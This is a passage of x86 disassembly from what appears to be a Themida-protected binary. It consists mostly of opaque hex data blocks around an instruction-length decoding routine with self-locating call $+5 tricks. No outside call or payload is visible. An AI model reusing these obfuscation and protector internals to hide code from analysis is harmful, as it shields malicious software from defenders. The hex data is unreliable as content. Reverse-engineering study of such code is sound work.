4C7B7F00h, 4B894DD1h, 7728F220h, 0C15EC53Ch dd 406EA1DBh, 0F31A5B35h, 0AA58FBC5h, 16C918E4h, 0F1D774EAh dd 2E6784B7h, 42B6CD6h, 535B0CD6h, 8BEBB261h, 0CAA447A9h dd 93C05D90h, 1A434372h, 0B9281B92h, 0AED5621Ch, 0E3591C32h dd 2D711F40h, 0B1132081h, 76D80341h, 0B98921D9h, 0BE132081h dd 2B05581Dh, 4120BDF0h, 4526489Fh, 0F0B66485h, 0FE132089h dd 49CAEB88h, 91000000h, 27014362h, 3F0CBDE8h, 4481DDE7h dd 801DE715h, 0A7176F52h, 294D5604h, 43B91C32h, 0F2300A15h dd 52702AC7h, 0B013200Bh, 52164473h, 9DB6E417h, 82EDE79Eh dd 1170F86Ch, 32D33A64h, 70B86843h, 0D3B84526h, 7E000000h dd 275588C2h, 94DFB1Ch, 3C16C91Ah, 53CEF87Fh, 41B109EAh dd 0E0AAD803h, 0BDFBE17Eh, 38596492h, 0C95CC48Ah, 0B754CA16h dd 752397D1h, 16C95C31h, 42E547BDh, 1308A013h, 59F6EF54h dd 70A3DDA1h, 4E539ECDh, 7593A7BAh, 0D50431D8h, 2493FDA4h dd 8F49E6EDh, 16C95D82h, 163366A0h, 0A5D00FE9h, 0BFCAD77h dd 2D123ADBh, 0D42C6502h, 3E13C164h, 681C2F02h, 37754FF2h dd 0CB09EF0Ch, 1DD96FA0h, 0F8698Ah, 39144h, 0DF064600h dd 71A0DCC2h, 2316E54h, 91C4FFE5h, 25508E74h, 0D4DE0408h dd 684E6B96h, 0FDE30027h, 907693BEh, 39062356h, 0D9E4AA58h dd 91EA1327h, 5984C2B3h, 0EF1C563Ch, 72486B1h, 0A0DFB9DAh dd 1A014575h, 178D16C9h, 88C24C7Ah, 29632755h, 0A14FBFFCh dd 16C91ADDh, 0DB096BE1h, 0D892AF11h, 16C91AEBh, 59FC6CC4h dd 32140EABh, 2EDCFD1Ch, 13201C68h, 81630076h, 7BC0EE0Bh dd 73564A1h, 0AAEC9A3Dh, 3416C91Ah, 13B21BEh, 0A2DCA0CEh dd 0C119526Fh, 7700AE51h, 0F71C3223h, 87BB5381h, 0F013200Ch dd 5D37264Fh, 7655F221h, 4526C5AAh, 5FC6h, 176F8C00h, 9E304A7h dd 0A7719FCAh, 1A105604h, 289E16C9h, 29D0D18Bh, 11EB1C32h dd 0B67AA8D3h, 501A487Bh, 0F96F51EEh, 0B0F33CBh, 0CF681320h dd 9E4CB4F5h, 13200BD8h, 0E00E70E6h, 31447916h, 26C6D67Ah dd 0B08FBE45h, 9D0E1BBFh, 20E2FCCh, 0D5000001h, 22FC8BA6h dd 744F45Eh, 0ABD976D8h, 0B25588C2h, 1AA3E391h, 0B52B16C9h dd 5E9C6018h, 276F16E4h, 567EC85h, 1D4C8862h, 328ACC7Ah dd 9E1416C9h, 4B854901h, 0EC26EA18h, 3284CA78h, 940A16C9h dd 565B1532h, 8516C93Eh, 0A23F6EABh, 600E82BCh, 16C9361Eh dd 0ABC82AA0h, 2A588BC5h, 0A84BBB13h, 4170AD87h, 12984913h dd 17D6BBEh, 6FC8821Fh, 641C323Fh, 2FDD4D8Ah, 1320356Fh dd 3B97F96Fh, 0D8A2D0FFh, 0C6E3593Bh, 22C5358Dh, 0BBEA2701h dd 6C26C38Dh, 19C6BE41h, 4F701389h, 0D0287D20h, 0B04D572Fh dd 0BE618CCAh, 0DF7CA3E4h, 0E9145238h, 72ABC8B8h, 0E39F976Fh dd 1CEh, 0FF1C4383h, 91AEDD19h, 223F6EABh, 0B1CE013Ch dd 45628DCBh, 0DB19A141h, 6CAD93B0h, 3422845h, 9BD5BBD8h dd 9D7E4B68h, 27DFAFEFh, 0F8D62F13h, 3C5984C2h, 0CCE91C56h dd 8B1E709Fh, 1B74672Fh, 0B14EB0DFh, 0A7176F83h, 294D5604h dd 4D6E1C32h, 200BDF9Fh, 0CC69DF13h, 0F7D174EAh, 925C8ABDh dd 9DA53DF5h, 0DA13200Bh, 2C722041h, 0AE13200Bh, 72E84073h dd 7DABDA16h, 94E116B3h, 26C64917h, 0D06745h, 0C22D0000h dd 63275588h, 3657FA25h, 0C91AC688h, 1D58C816h, 0F02C88EAh dd 0D46C24C1h, 16C916DFh, 5024CDFCh, 3360D603h, 0C9A4C185h dd 0F557CD16h, 5387258h, 95C802E8h, 88F85067h, 0AB9E37E5h dd 0BB951C32h, 57214F7Eh, 2D509CA6h, 0EA870E91h, 0CEEF9208h dd 20125E20h, 47EA6013h, 2012D599h, 0C663D913h, 1E8EE61Fh dd 3467A17Bh, 0B2BC6A97h, 0BC19C68Dh, 8BC9A346h, 1F5D4360h dd 8FE1C3F4h, 38306F72h, 0C17Ch, 0F367600h, 0A1D00CF2h dd 32619E84h, 0C1F42F15h, 5580BEA4h, 4AE3438h, 987E9BC6h dd 2D133057h, 0C0A6C3EEh, 69365386h, 0DC94DA88h, 0C11A1327h dd 5984C2E3h, 0A81C563Ch, 0C91AB4FAh, 0CEF53616h, 65A40076h dd 0E0420C3Ah, 0A17B95C3h, 3D073564h, 4D80BAA0h, 0EE215B1Fh dd 0D04098D1h, 900A7F2Dh, 0D64C1C32h, 77AAE4A8h, 0D3A745Ah dd 9F42A4CFh, 15833870h, 0CA67EBA1h, 15837A12h, 5679E4C4h dd 6F1D3E1Fh, 69C6552Fh, 1D8839AFh, 6A347026h, 0ABE5CB68h dd 542E5B78h, 694FEC13h, 0ACEFC2Fh, 1FF99CCFh, 5F17B4E3h dd 3371047Bh, 0EC977F9h, 0B3381184h, 144E3451h, 3F7B3E1h dd 37000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h dd 68864775h, 34F0h, 57242C89h, 0C781E789h, 4, 8704EF83h dd 895C243Ch, 7F68243Ch, 89000061h, 0BE562404h, 5EEBAD6h dd 89F08950h, 545E58C7h, 8324048Bh, 0EC8304C4h, 243C8904h dd 0FF08408Fh, 81582434h, 4C4h, 243C8B00h, 81E78957h, 4C7h dd 4C78100h, 87000000h, 0E95C243Ch, 0FFFAB85Fh, 0B8459FEEh dd 5EEC732h, 0E0FFC503h, 7C05C1B7h, 1C9DB25h, 157335BDh dd 731B8EDEh, 0C8358D8Dh, 0BF0F05EEh, 558D89F2h, 0E905E926h dd 0Fh, 5083B848h, 0C5B4F4ACh, 77F541DAh, 0C75DA0D3h, 0E9080585h dd 6A7805h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 7CFBB5Bh, 61BD0199h, 8905E905h, 0E90801B5h dd 3D85C705h, 5E916h, 1000000h, 0E91EC185h, 55B5FF05h dd 0FF05E92Fh, 0E90BC595h, 0A1BD8905h, 6A05E91Ch, 9595FF00h dd 8B05E91Eh, 0BE49EBC0h, 0DE65BF33h, 3A02E83Fh, 4CB7F086h dd 0EA74CD6h, 6BADF61Ah, 7758F96Eh, 0F56DEBBCh, 9CA3292Bh dd 0EDAF7C43h, 0B45EB6E2h, 31B9E0B7h, 306410DCh, 88BC2688h dd 3D9C732h, 3983452h, 0BB96AD83h, 0B8182578h, 0B9943CF3h dd 5E8h, 0F9BD0E00h, 0BBB17F4Dh, 0A9958958h, 8105E90Ah dd 6B01C0h, 0EE900h, 7A170000h, 0A587DD50h, 6C8F293Fh dd 0C53EFD42h, 0BAh, 21BD8B00h, 8B05E906h, 8A0F101Ch, 11h dd 0CE9h, 94F10700h, 0BA6531Ch, 572551D4h, 71EB81CEh, 81388E4Fh dd 0F4620FDEh, 0BAC3811Eh, 0FC5DA356h, 6641C381h, 0BD2B4873h dd 5E91D15h, 10048F53h, 54D8D8Bh, 816605E9h, 8356CAE9h dd 4AF502EAh, 7995014Ah, 8105E926h, 0FF9590FAh, 0A0850FFFh dd 0FFFFFFFh, 0C8E9F3BFh, 88000001h, 7 dup(88004188h) dd 4188h, 4 dup(0) dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h dd 888888h, 0 dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h dd 3C98802h, 88001002h, 88001188h, 11888888h, 44111111h dd 16h, 880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h dd 88080888h, 888888h, 0 dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h dd 88888888h, 26088888h, 643E362Eh, 0F0676665h, 0F3F2h dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0 dd 1000000h, 14h dup(0) dd 0C3000000h, 77ED6380h, 1000075h, 11h dup(0) dd 0E9000000h, 353h, 0E855h, 815D0000h, 0EECAF5EDh, 85C76005h dd 5EECA42h, 0 dd 663E8166h, 0F850FA1h, 0C7000000h, 0EECA4685h, 605h dd 24E900h, 858D0000h, 5EECA4Ah, 9A858D50h, 5005EECAh dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 0CA468589h, 36105EEh dd 0EECA46B5h, 42858B05h, 5D05EECAh db 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_59AD4E mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_59AD5A ; --------------------------------------------------------------------------- loc_59AD4E: ; CODE XREF: Themida_:0059AD37j and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_59AD5A: ; CODE XREF: Themida_:0059AD49j push ebx push esi push edi loc_59AD5D: ; CODE XREF: Themida_:0059ADB2j ; Themida_:0059ADCEj ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_59AD70: ; CODE XREF: Themida_:0059AD97j movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 5EECBACh lea ebp, [ebp+5EECA22h] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_59AD9D inc cl cmp cl, 0Bh jb loc_59AD70 loc_59AD9D: ; CODE XREF: Themida_:0059AD8Cj cmp cl, 0Bh jz loc_59ADFA cmp al, 66h jnz loc_59ADDB cmp byte ptr [ebp-5], 0 jnz loc_59AD5D cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_59ADD3 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_59AD5D ; --------------------------------------------------------------------------- loc_59ADD3: ; CODE XREF: Themida_:0059ADC0j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_59ADDB: ; CODE XREF: Themida_:0059ADA8j cmp al, 67h jnz loc_59AD5D cmp byte ptr [ebp-6], 0 jnz loc_59AD5D xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_59AD5D ; --------------------------------------------------------------------------- loc_59ADFA: ; CODE XREF: Themida_:0059ADA0j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_59AE26 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_59AE2B ; --------------------------------------------------------------------------- loc_59AE26: ; CODE XREF: Themida_:0059AE05j movzx edi, al shr edi, 1 loc_59AE2B: ; CODE XREF: Themida_:0059AE21j push ebp call $+5 pop ebp sub ebp, 5EECC64h lea ebp, [ebp+5EEC922h] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_59AFAD mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_59AEF1 dec ecx jz loc_59AED4 dec ecx jnz loc_59AF44 cmp byte ptr [ebp-2], 0 jnz loc_59AF40 cmp byte ptr [ebp-5], 0 jz loc_59AEB3 mov byte ptr [ebp+0Bh], 2 loc_59AEB3: ; CODE XREF: Themida_:0059AEA9j add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 5EECCF0h mov dword ptr [ebp+5EECA42h], 1 pop ebp jmp loc_59AF44 ; --------------------------------------------------------------------------- loc_59AED4: ; CODE XREF: Themida_:0059AE8Ej cmp byte ptr [ebp-2], 0 jnz loc_59AF1E cmp byte ptr [ebp-5], 0 jz loc_59AF1E mov byte ptr [ebp+0Bh], 2 jmp loc_59AF1E ; --------------------------------------------------------------------------- loc_59AEF1: ; CODE XREF: Themida_:0059AE87j cmp byte ptr [ebp-2], 0 jnz loc_59AF37 cmp byte ptr [ebp-5], 0 jz loc_59AF26 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_59AF1E mov [ebp+0Bh], cl loc_59AF1E: ; CODE XREF: Themida_:0059AED8j ; Themida_:0059AEE2j ... inc byte ptr [ebp+0Bh] jmp loc_59AF44 ; --------------------------------------------------------------------------- loc_59AF26: ; CODE XREF: Themida_:0059AEFFj cmp dl, 5 jnz loc_59AF44 mov [ebp+0Bh], dl jmp loc_59AF44 ; --------------------------------------------------------------------------- loc_59AF37: ; CODE XREF: Themida_:0059AEF5j cmp dl, 6 jnz loc_59AF44 loc_59AF40: ; CODE XREF: Themida_:0059AE9Fj mov byte ptr [ebp+0Bh], 3 loc_59AF44: ; CODE XREF: Themida_:0059AE95j ; Themida_:0059AECFj ... dec byte ptr [ebp+0Bh] jz loc_59AF72 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_59AF54: ; CODE XREF: Themida_:0059AF6Aj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_59AF54 mov esi, edx loc_59AF72: ; CODE XREF: Themida_:0059AF47j and al, 0FEh cmp al, 0F6h jnz loc_59AFA7 cmp edi, 7Fh ja loc_59AFA7 test bl, 38h jnz loc_59AFA7 cmp byte ptr [ebp-7], 0 jz loc_59AFA1 movzx eax, byte ptr [ebp-4] jmp loc_59AFA4 ; --------------------------------------------------------------------------- loc_59AFA1: ; CODE XREF: Themida_:0059AF92j push 1 pop eax loc_59AFA4: ; CODE XREF: Themida_:0059AF9Cj mov [ebp-1], al loc_59AFA7: ; CODE XREF: Themida_:0059AF76j ; Themida_:0059AF7Fj ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_59AFAD: ; CODE XREF: Themida_:0059AE57j mov al, bl and eax, 7 sub eax, 4 jz loc_59AFD8 dec eax dec eax jz loc_59AFCE and bl, 7 add [ebp-1], bl jmp loc_59AFE0 ; --------------------------------------------------------------------------- loc_59AFCE: ; CODE XREF: Themida_:0059AFBDj mov al, [ebp-3] add al, 6 jmp loc_59AFDD ; --------------------------------------------------------------------------- loc_59AFD8: ; CODE XREF: Themida_:0059AFB5j mov al, [ebp-3] add al, 4 loc_59AFDD: ; CODE XREF: Themida_:0059AFD3j add [ebp-1], al loc_59AFE0: ; CODE XREF: Themida_:0059AFC9j mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_59B008 movzx ecx, byte ptr [ebp-1] inc ecx loc_59AFF3: ; CODE XREF: Themida_:0059B002j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_59AFF3 loc_59B008: ; CODE XREF: Themida_:0059AFE8j pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- aLI db '‹Ðë$',0 dd 8 dup(0) dd 0E9000000h, 0BDh, 0CE46B589h, 858B05EEh, 5E901BDh, 2F1D858Bh dd 0B58D05E9h, 5EECE90h, 4E23858Dh, 0D0FF05ECh, 0E855C3h dd 5D000000h, 0CE96ED81h, 0BD8305EEh, 5E901BDh, 2C850F01h dd 0FF000000h, 0EECE46B5h, 1D858B05h, 3505E92Fh, 34812736h dd 13CD0FFh, 0A850Fh, 1B80000h, 0E9000000h, 47h, 40E9C033h dd 6A000000h, 4AB58D1Ch, 5605EECEh, 0CE46B5FFh, 858B05EEh dd 5E92F1Dh, 81273635h, 83D0FF34h, 0B58D0CC4h, 5EECE4Ah dd 8314468Bh, 0F88304E0h, 7840F04h, 33000000h, 5E9C0h dd 1B80000h, 83000000h, 0E901BDBDh, 850F0105h, 7, 2E9C35Dh dd 5D000000h, 6F858DCFh, 8905EECEh, 0E92D8985h, 98E905h dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0) dd 0A26D0000h, 0BDE95D0Fh, 6800000Ah, 5EED16Eh, 0FAB012E9h dd 0D26368FFh, 8E905EEh, 68FFFAB0h, 5EED380h, 0FAAFFEE9h dd 0D41468FFh, 0F4E905EEh, 68FFFAAFh, 5EED529h, 0FAAFEAE9h dd 0D5AB68FFh, 0E0E905EEh, 68FFFAAFh, 5EED81Ch, 0FAAFD6E9h dd 0D92068FFh, 0CCE905EEh, 98FFFAAFh, 2E143158h, 0C0A6C3F2h dd 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch, 5279BAA0h dd 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 1327CABAh, 0C20DEB44h dd 63275588h, 0ACD9F629h, 0E7AC607Dh, 79165A74h, 0D578E840h dd 0CAD473A6h, 0A441DD13h, 784CC977h, 5CD21C32h, 57AC962Eh dd 2ACB1320h, 9EB0604Bh, 4BB04526h, 77000000h, 8132619Dh dd 0EBE21493h, 0BEEC8957h, 4A7176Fh, 32294D56h, 0A043B91Ch dd 2D5B8AC6h, 9DFF2A69h, 92B04800h, 0E513200Bh, 0D67A3144h dd 0BE4526C6h, 0B551568Fh, 5A2FCE4h, 0EFE4h, 0E27CAB00h dd 0FB0563A2h, 0A3CA0B67h, 88C2D806h, 25632755h, 0CE08CCFAh dd 29D7F89Bh, 16C91A65h, 9FF72A65h, 65C7EE2Fh, 124C10C8h dd 7D08C2DFh, 0C116C916h, 0D7B15487h, 50BE1B9Dh, 8584D70Dh dd 0F9DF8623h, 475E8CBFh, 2EDC7FEFh, 1C31159Dh, 8A5214D9h dd 336951A3h, 0AD87B4D1h, 0EE9C3F72h, 1320B1A8h, 0EA23C036h dd 0D17F2292h, 19C639CDh, 6BAED706h, 5684B7F2h, 3F1CDB8Ch dd 49BFA13Eh, 698ECCA6h, 0AB59FC2Fh, 16CBE3EBh, 0FE1B7DF3h dd 7EAFDA18h, 6F723F86h, 8315D1C9h, 54000008h, 0EAD0ED14h dd 7C627FAEh, 0DF3103Fh, 9C829FD2h, 1216335Eh, 81ACEAD0h dd 163D7E64h, 0A9D413F9h, 396CA68Ch, 0C06E4F1Ch, 1327CBFEh dd 7BC9A700h, 0B3960A1h, 6F11DEF2h, 0D537C445h, 0E9145238h dd 79ACE6CCh, 14552F5Ch, 2486B9F3h, 618F2CF6h, 4A7176Fh dd 32294D56h, 0FB3F6E1Ch, 796C524Eh, 0AC793DEBh, 0F851320h dd 0E41751ADh, 0C1EF6547h, 20AC1929h, 0B8BD5E13h, 26612DF3h dd 0C14345h, 300A0000h, 0CE98C6F1h, 88C20331h, 0FB1C2755h dd 0C91A094Dh, 821F9516h, 5335E9Ch, 0C916126Dh, 0E71A5416h dd 77AAE4CAh, 6ADA3249h, 0F3A019C7h, 31F61C31h, 5C382089h dd 0C1DE4063h, 1DC03088h, 0C629DC6Fh, 7CB62619h, 6A44E749h dd 4509B22Ch, 0C82DC4B8h, 25634966h, 0F7465AABh, 0CBCA0549h dd 62138916h, 5CBEE1DEh, 72FE612Bh, 3CF8F06Fh, 78Eh, 0DBF81F5Fh dd 6D8AB9F5h, 0FE1B4A87h, 8DAADD18h, 213E69A7h, 0AFEDC51Dh dd 40816784h, 0D716FC19h, 6FA98FACh, 71521F3Ch, 27C883C3h dd 0D4B20B13h, 3C5984C2h, 0E39A1C56h, 4C7BB7D6h, 4CA3541Eh dd 29CC2E11h, 51145A08h, 249A16C9h, 0C2B2E087h, 1C275588h dd 1A094DFBh, 1F9516C9h, 2F629C82h, 1181D912h, 0DB87C06Eh dd 51C71C32h, 76B38DAEh, 1A551947h, 8DEFB9E7h, 5CD00AF0h dd 27D5E8AEh, 0DD80F613h, 27D56F2Fh, 97F96F13h, 5FDD1AF4h dd 0DEB0B65Dh, 0BF5CBE92h, 1CCAEB18h, 1327D75Ah, 9751EE64h dd 1327D747h, 0B6E522FCh, 5887C488h, 61FE602Ah, 2665D128h dd 31649FFBh, 378EB2CFh, 9D40B008h, 0DCD10EEFh, 0ABDA5019h dd 1700EC15h, 0FB6BC38Ah, 185DAA58h, 2BA18FFDh, 1E8EE6FDh dd 5F2B5A7Bh, 39ABEEA1h, 1B7A34D1h, 5F8A13AEh, 2E6C46E9h dd 18396603h, 0A6D4FF3Eh, 4C7AA1E2h, 66F2082h, 1A562538h dd 77B19734h, 7412744h, 22DFA3D4h, 766EDBABh, 671BAh, 0DB024200h dd 6D9CD8BEh, 0FE2D6A50h, 8DC0FBE1h, 214C8A70h, 0D8E20004h dd 6C526F9Ah, 1E7042Bh, 947A97C2h, 3D0A275Ah, 0C9E8AE5Ch dd 9DF61327h, 805A7BBFh, 1EE81641h, 0C91AA8EEh, 23C03616h dd 7F2292EAh, 32DBF4D1h, 0D915EF1Ch, 742B0DAAh, 27D580C6h dd 5115C313h, 5D1327D5h, 71CA8FE7h, 1547D077h, 42F093F5h dd 1327D57Ch, 7AA0C82h, 92C0F32Dh, 1ECA2F79h, 0B91BDF7Dh dd 0D915EF1Ch, 6BA78DAAh, 104A0E3Ch, 1FD6ACDDh, 7D756987h dd 5DDC1h, 476EAE00h, 0D908442Ah, 6A99D6BCh, 0F92C674Dh dd 8DB8F6DCh, 3C766C70h, 0D0B6D3FEh, 654B688Fh, 0F8DEFB26h dd 0A16E8BBEh, 0CE4C12C0h, 0F9521327h, 0A7176F1Bh, 0DB695604h dd 0F0B51C32h, 475CF5F1h, 7AB9151Fh, 0F557214Fh, 0B3E7852h dd 0F25EB5EEh, 8F5987B6h, 96DC8A2Dh, 0C51327C2h, 0E582ADEBh dd 0C75F8D03h, 1327C2FAh, 64A1CE08h, 0DB3D0735h, 7DACE9ADh dd 234A8B4Fh, 62852BF5h, 8B248B13h, 1B4970B1h, 0F67FB451h dd 210BEBB5h, 3A0545h, 0ABCC0000h, 376594D1h, 0CA793D6Dh dd 0F851327h, 1B4974B3h, 6F86B451h, 5503A618h, 16C91A15h dd 65FD2BA1h, 16C91A5Dh, 2F7CF99Ah, 40CFD361h, 77Fh, 9ACA4500h dd 0A000001h, 0B40C4384h, 12F3A144h, 5C1C321Ch, 9D9E2E97h dd 0DD3F6699h, 0AA8C18AEh, 0E73FB387h, 0D926D477h, 25B67153h dd 9C7681AFh, 58912E61h, 3FED9000h, 0B39F3150h, 0A781249Ah dd 371D3A6Dh, 6999CAFDh, 0BCC52F0Bh, 4C808C4h, 59990000h dd 0F32F1532h, 84C1A7C4h, 17523855h, 0A3E1C7E4h, 8B575B78h dd 0A9C6F12Fh, 3E5B82C3h, 0D1EE1958h, 617EB1EBh, 4105B394h dd 4D1327CFh, 4C7B16F4h, 0CF96E4B7h, 0F6318DE5h, 64026C3h dd 610F30D3h, 16C9551Dh, 0D68E2BA1h, 8B667BFh, 16C95546h dd 550F4FFDh, 198F16C9h, 46E94BC1h, 32651398h, 90AD231Ch dd 74370AAh, 0ACE6AAD8h, 7DBB1779h, 0F85A2452h, 8BD6A5C7h dd 38F4EC69h, 446h, 93B0D717h, 254271ADh, 0B6D3023Fh, 456295D0h dd 0D9F6215Fh, 67A50DD5h, 0F8391F3Ch, 8FCEB4D1h, 27614764h dd 290AD7F4h, 27CF3B7Bh, 8C6AC313h, 275588C2h, 0DBB52963h dd 7C42729Dh, 8216C91Ah, 0B87CAA0Ch, 581C4A7Dh, 0AFBDEB1Eh dd 80BBE98Ch, 0F3551F4Dh, 3B690C6Bh, 0D2B1CE01h, 40CFD30Eh dd 2722h, 0D50FE900h, 0DAA74A2h, 0A7176FDFh, 14F55604h dd 0CB411C32h, 1C3D059Dh, 993A1320h, 0D101CFDCh, 421F4526h dd 0E5000000h, 4A7176Fh, 325C3956h, 6C0F851Ch, 84275692h dd 0A8F26CAAh, 0D7229921h, 4AF18EF0h, 204BB390h, 6FAE8813h dd 4B115503h, 279D1320h, 84228C5h, 96D2B8D5h, 7F7D3967h dd 0BE000003h, 0DA77AAE4h, 0A7176FACh, 0FD595604h, 6FE51C31h dd 10437D41h, 0B6DD1EE2h, 5689C488h, 0FA256428h, 0FC9902CCh dd 5C7F2579h, 296A4419h, 590AD402h, 85A88A59h, 91CA67E0h dd 7826C939h, 19D8C97Fh, 866C89FFh, 0D4EB194Ch, 0BB690C7Ch dd 1C3231F6h, 25F876A5h, 69EDB15Fh, 7BF11320h, 0D966BBCAh dd 0B6E45A3Ch, 431A5BD2h, 0DB327422h, 46BC1320h, 5689C3A9h dd 38A80039h, 0CB9B6695h, 724692B2h, 0F1FAA8D5h, 8519DB9Eh dd 0E31DE10Fh, 279E82B0h, 3BAB034Eh, 92E1EA98h, 0FF751C32h dd 8FC2FCE2h, 3F7C5661h, 4F8D7310h, 0C5E8F624h, 87BAF4B0h dd 69D9316Ah, 8DCBA5C6h, 0E91B3462h, 0B3F75C49h, 0ECA643A5h dd 19DBC5A7h, 0D79BC93Fh, 235709Dh, 7AA80AD4h, 7561F96h dd 25C2F12Dh, 812494ECh, 32D79ED3h, 7592081Ch, 0F422558Fh dd 0A6C3F630h, 2A5156Dh, 0DBCEDB54h, 0BFED6319h, 0C9E11B27h dd 0BABB5C16h, 0CF282FF1h, 384140h, 6F070000h, 0E304A717h dd 0C91A7135h, 6A077D16h, 29928F3Dh, 2FF41C32h, 0D53F37ECh dd 0D016C71Eh, 124F298Ah, 59DCB2Dh, 1320093Dh, 0CFDC993Ah dd 4526C401h, 9D1Fh, 88C2E500h, 0B3D95A06h, 399BFCF9h dd 0DE09470Bh, 7FB2ECB0h, 20538D51h dd 2C3E4903h, 468016C9h, 0D610F613h, 0DB3D6CA9h, 0CE3E96ADh dd 2BD07D2Bh, 0A81E1C32h, 76AED605h, 0D788B7F4h, 6D0A5540h dd 84BF99C6h, 237BB451h, 776210B3h, 0BB19C61Eh, 8AC8A245h dd 1E5C425Fh, 0F086C2F3h, 1F96F72h, 1D545h, 3F66A600h dd 0D1003C22h, 6291CEB4h, 0F1245F45h, 85B0EED4h, 347E6468h dd 0C8AECBF6h, 5D436087h, 0F0D6F31Eh, 996683B6h, 0C2440AB8h dd 0F14A1327h, 5984C213h, 0E91C563Ch, 176F9ECCh, 1AF6B866h dd 41F816C9h, 0C91AD393h, 365DB16h, 5350FEA1h, 0B31C3229h dd 9EDD0643h, 81AF1173h, 200BD9E9h, 56851E13h, 7CBF904Eh dd 6F2FDD02h, 6F1320D4h, 0C5FA97F9h, 1955FBB0h, 0D44B4526h dd 11000000h, 275588C2h, 0CCFA2563h, 0C9164934h, 20538D16h dd 0BFFCD603h, 0D30DF390h, 0A386BA6h, 0ACDA0946h, 7B1E80E2h dd 4C42F94Ch, 0B5116563h, 0F8B04D74h, 68D413EDh, 0C984F4BAh dd 2284FA16h, 548D2AF4h, 3BE98CFCh, 1C328B92h, 104966DCh dd 0CBA548B8h, 98C5628Dh, 0C61EECEAh, 59FC7219h, 0E7BF0938h dd 9E7BFE0Eh, 0B8DD1B01h, 121D4B7Eh, 0CBAF2264h, 0D436AC16h dd 316F5572h, 71C7D506h, 1E166F72h, 0D162h, 3B62A200h dd 0CDFC381Eh, 5E8DCAB0h, 0ED205B41h, 81ACEAD0h, 38826064h dd 0CCB2CFFAh, 6147648Bh, 0F4DAF722h, 9D6A87BAh, 0C3480EBCh dd 0FD561327h, 5984C21Fh, 0E91C563Ch, 0C12D6C46h, 0C91A5313h dd 83E55B16h, 1A6C32E0h, 0FC7216C9h, 0C28AB85Fh, 63275588h dd 0A0D9F629h, 26A28948h, 3E5C01h, 0CE3092C5h, 2C747D2Bh dd 7CF21C32h, 0E14434Eh, 6B96D4A3h, 0C934CBBAh, 0D90C462Ch dd 0F41B5C36h, 90CAB057h, 0D24B7B0Eh, 0E39440F4h, 8CDE654Fh dd 3C6ACCAFh, 0C43A73A4h, 6B0A2DBAh, 95D2FF39h, 0C6E3866h dd 9CCF09EFh, 3C6FAA6Eh, 84CA7899h, 0BF4BC60Ah, 0C60A4D11h dd 83DB514Bh, 0D4B8700Dh, 528C185Dh, 0E21C021Fh, 3C581AFh dd 5000000h, 82C233A1h, 2F692D5Bh, 0CB0ACEFCh, 6DAE72A0h dd 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h, 0A4E0A4D2h dd 57864775h, 0C781E789h, 4, 4EF81h, 3C870000h, 4895C24h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 68243489h dd 699Eh, 52241C89h, 0EED02ABAh, 8BD68905h, 0C4832414h dd 1C8B5404h, 4C48324h, 141068h, 24348900h, 8B08438Fh dd 8957241Ch, 4C781E7h, 83000000h, 3C8704C7h, 348B5C24h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0A561E95Ch dd 0C43CFFFAh, 